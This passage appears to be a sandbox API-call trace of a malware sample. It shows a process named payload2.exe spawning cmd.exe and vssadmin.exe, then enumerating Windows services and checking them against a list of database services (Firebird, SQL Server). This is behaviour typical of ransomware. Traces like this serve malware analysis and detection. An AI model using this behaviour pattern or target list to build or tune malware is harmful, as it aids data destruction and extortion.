	[0195.970] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.971] lstrlenW (lpString="svchost.exe") returned 11
	[0195.971] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.971] lstrlenW (lpString="svchost.exe") returned 11
	[0195.971] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.972] lstrlenW (lpString="svchost.exe") returned 11
	[0195.972] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0195.972] lstrlenW (lpString="spoolsv.exe") returned 11
	[0195.972] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.973] lstrlenW (lpString="svchost.exe") returned 11
	[0195.973] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0195.973] lstrlenW (lpString="audiodg.exe") returned 11
	[0195.973] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0195.974] lstrlenW (lpString="sihost.exe") returned 10
	[0195.974] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.974] lstrlenW (lpString="svchost.exe") returned 11
	[0195.974] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0195.975] lstrlenW (lpString="taskhostw.exe") returned 13
	[0195.975] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0195.975] lstrlenW (lpString="msoia.exe") returned 9
	[0195.975] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0195.976] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0195.976] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0195.977] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0195.977] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0195.977] lstrlenW (lpString="Memory Compression") returned 18
	[0195.977] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0195.978] lstrlenW (lpString="explorer.exe") returned 12
	[0195.978] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0195.978] lstrlenW (lpString="SearchUI.exe") returned 12
	[0195.978] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0195.979] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0195.979] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0195.979] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0195.980] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0195.980] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0195.980] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0195.981] lstrlenW (lpString="payload2.exe") returned 12
	[0195.981] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0195.981] lstrlenW (lpString="cmd.exe") returned 7
	[0195.981] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0195.982] lstrlenW (lpString="conhost.exe") returned 11
	[0195.982] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0195.982] lstrlenW (lpString="consent.exe") returned 11
	[0195.982] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0195.983] lstrlenW (lpString="vssadmin.exe") returned 12
	[0195.983] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0195.983] lstrlenW (lpString="dllhost.exe") returned 11
	[0195.983] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0195.984] CloseHandle (hObject=0x590) returned 1
	[0195.984] Sleep (dwMilliseconds=0x1f4) 
	[0196.524] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6681a0
	[0196.552] EnumServicesStatusExW (in: hSCManager=0x6681a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0196.605] GetLastError () returned 0xea
	[0196.605] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4470140
	[0196.605] EnumServicesStatusExW (in: hSCManager=0x6681a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0196.607] CloseServiceHandle (hSCObject=0x6681a0) returned 1
	[0196.609] lstrlenW (lpString="Appinfo") returned 7
	[0196.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0196.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0196.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0196.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0196.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0196.609] lstrlenW (lpString="AppXSvc") returned 7
	[0196.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0196.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0196.609] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0196.609] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0196.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0196.609] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0196.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0196.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0196.609] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0196.609] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0196.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0196.609] lstrlenW (lpString="Audiosrv") returned 8
	[0196.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0196.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0196.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0196.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0196.610] lstrlenW (lpString="BFE") returned 3
	[0196.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0196.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0196.610] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0196.610] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0196.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0196.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0196.610] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0196.610] lstrlenW (lpString="CDPSvc") returned 6
	[0196.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0196.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0196.610] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0196.610] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0196.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0196.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0196.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0196.610] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0196.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0196.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0196.610] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0196.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0196.610] lstrlenW (lpString="CryptSvc") returned 8
	[0196.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0196.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0196.611] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0196.611] lstrlenW (lpString="DcomLaunch") returned 10
	[0196.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0196.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0196.611] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0196.611] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0196.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0196.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0196.611] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0196.611] lstrlenW (lpString="Dhcp") returned 4
	[0196.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0196.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0196.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0196.611] lstrlenW (lpString="Dnscache") returned 8
	[0196.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0196.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0196.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0196.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0196.611] lstrlenW (lpString="DPS") returned 3
	[0196.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0196.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0196.612] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0196.612] lstrlenW (lpString="DusmSvc") returned 7
	[0196.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0196.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0196.612] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0196.612] lstrlenW (lpString="EventLog") returned 8
	[0196.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0196.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0196.612] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0196.612] lstrlenW (lpString="EventSystem") returned 11
	[0196.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0196.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0196.612] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0196.612] lstrlenW (lpString="FontCache") returned 9
	[0196.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0196.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0196.612] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0196.612] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0196.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0196.612] lstrlenW (lpString="gpsvc") returned 5
	[0196.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0196.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0196.612] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0196.612] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0196.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0196.613] lstrlenW (lpString="iphlpsvc") returned 8
	[0196.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0196.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0196.613] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0196.613] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0196.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0196.613] lstrlenW (lpString="KeyIso") returned 6
	[0196.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0196.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0196.613] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0196.613] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0196.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0196.613] lstrlenW (lpString="LanmanServer") returned 12
	[0196.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0196.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0196.613] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0196.613] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0196.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0196.613] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0196.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0196.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0196.613] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0196.613] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0196.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0196.613] lstrlenW (lpString="lfsvc") returned 5
	[0196.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0196.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0196.613] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0196.613] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0196.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0196.613] lstrlenW (lpString="lmhosts") returned 7
	[0196.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0196.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0196.614] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0196.614] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0196.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0196.614] lstrlenW (lpString="LSM") returned 3
	[0196.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0196.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0196.614] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0196.614] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0196.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0196.614] lstrlenW (lpString="MpsSvc") returned 6
	[0196.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0196.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0196.614] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0196.614] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0196.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0196.614] lstrlenW (lpString="NcbService") returned 10
	[0196.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0196.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0196.614] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0196.614] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0196.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0196.614] lstrlenW (lpString="netprofm") returned 8
	[0196.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0196.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0196.614] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0196.614] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0196.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0196.614] lstrlenW (lpString="NgcSvc") returned 6
	[0196.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0196.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0196.614] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0196.615] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0196.615] lstrlenW (lpString="NlaSvc") returned 6
	[0196.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0196.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0196.615] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0196.615] lstrlenW (lpString="nsi") returned 3
	[0196.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0196.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0196.615] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
